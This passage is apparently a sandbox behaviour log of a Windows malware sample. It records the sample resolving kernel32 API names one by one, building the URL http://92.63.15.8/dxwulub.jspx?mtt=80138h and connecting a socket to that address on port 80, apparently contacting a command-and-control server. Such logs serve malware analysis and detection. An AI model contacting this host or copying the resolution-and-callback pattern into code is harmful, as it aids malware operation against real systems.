returned="CreateMutexExW" [0108.741] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0108.741] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0108.741] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0108.741] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0108.741] lstrlenA (lpString="CREATEPIPE") returned 10 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0108.741] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0108.741] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0108.741] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0108.741] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0108.741] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0108.741] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0108.741] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0108.742] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0108.742] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0108.742] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0108.742] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0108.742] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0108.742] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0108.742] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0108.742] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0108.742] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0108.742] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0108.742] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0108.742] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0108.742] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0108.742] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0108.742] lstrlenA (lpString="CREATETHREAD") returned 12 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0108.742] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0108.742] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0108.742] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0108.743] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0108.743] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0108.743] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0108.743] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0108.743] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0108.743] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0108.743] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0108.743] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0108.743] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0108.743] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0108.743] lstrcpyA (in: lpString1=0x2e7f298, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0108.743] GetTickCount () returned 0x30aee [0108.743] GetTickCount () returned 0x30aee [0108.743] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x4) returned 0x3020000 [0108.744] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0108.745] GetModuleHandleA (lpModuleName="user32.dll") returned 0x74b70000 [0108.745] wsprintfA (in: param_1=0x3000000, param_2="http://%s%s" | out: param_1="http://92.63.15.8/dxwulub.jspx?mtt=80138h") returned 41 [0108.746] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3030000 [0108.747] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x3040000 [0108.747] VirtualAlloc (lpAddress=0x0, dwSize=0x19, flAllocationType=0x3000, flProtect=0x4) returned 0x30b0000 [0108.748] VirtualAlloc (lpAddress=0x0, dwSize=0x23, flAllocationType=0x3000, flProtect=0x4) returned 0x3b60000 [0108.748] lstrlenA (lpString="kernel32.dll") returned 12 [0108.748] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0108.748] inet_pton (in: Family=2, pszAddrString="92.63.15.8", pAddrBuf=0x2e7f828 | out: pAddrBuf=0x2e7f828) returned 1 [0108.748] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x2e7fc74 | out: lpWSAData=0x2e7fc74) returned 0 [0108.749] socket (af=2, type=1, protocol=6) returned 0x544 [0108.749] inet_addr (cp="92.63.15.8") returned 0x80f3f5c [0108.749] htons (hostshort=0x50) returned 0x5000 [0108.749] connect (s=0x544, name=0x2e7f804*(sa_family=2, sin_port=0x50, sin_addr="92.63.15.8"), namelen=16) returned 0 [0108.825] lstrlenA (lpString="kernel32.dll") returned 12 [0108.825] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0108.825] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0108.825] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0108.825] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0108.825] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0108.825] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0108.825] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0108.825] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0108.825] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0108.825] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0108.825] lstrlenA (lpString="ADDATOMA") returned 8 [0108.825] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0108.826] lstrlenA (lpString="ADDATOMW") returned 8 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0108.826] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0108.826] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0108.826] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0108.826] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0108.826] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0108.826] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0108.826] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0108.826] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0108.826] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0108.826] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0108.826] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0108.826] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0108.826] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0108.826] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0108.826] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0108.826] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0108.827] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0108.827] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0108.827] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0108.827] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0108.827] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0108.827] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0108.827] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0108.827] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0108.827] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0108.827] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0108.827] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0108.827] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0108.827] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0108.827] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0108.827] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0108.827] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0108.828] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0108.828] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0108.828] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0108.828] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0108.828] lstrlenA (lpString="BACKUPREAD") returned 10 [0108.828] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0108.828] lstrlenA (lpString="BACKUPSEEK") returned 10 [0108.828] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0108.828] lstrlenA (lpString="BACKUPWRITE") returned 11 [0108.828] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0108.828] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0108.828] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0108.828] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0108.828] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0108.828] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0108.828] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0108.828] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0108.828] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0108.828] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0108.828] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0108.828] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0108.828] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0108.828] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0108.828] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0108.828] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0108.829] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0108.829] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0108.829] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0108.829] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0108.829] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0108.829] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0108.829] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0108.829] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0108.829] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0108.829] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0108.829] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0108.829] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0108.829] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0108.829] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0108.829] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0108.829] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0108.830] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0108.830] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0108.830] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0108.830] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0108.830] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0108.830] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0108.830] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0108.830] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0108.830] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0108.830] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0108.830] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0108.830] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0108.830] lstrcpyA (in: lpString1=0x2e7eb64, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0108.830] lstrlenA 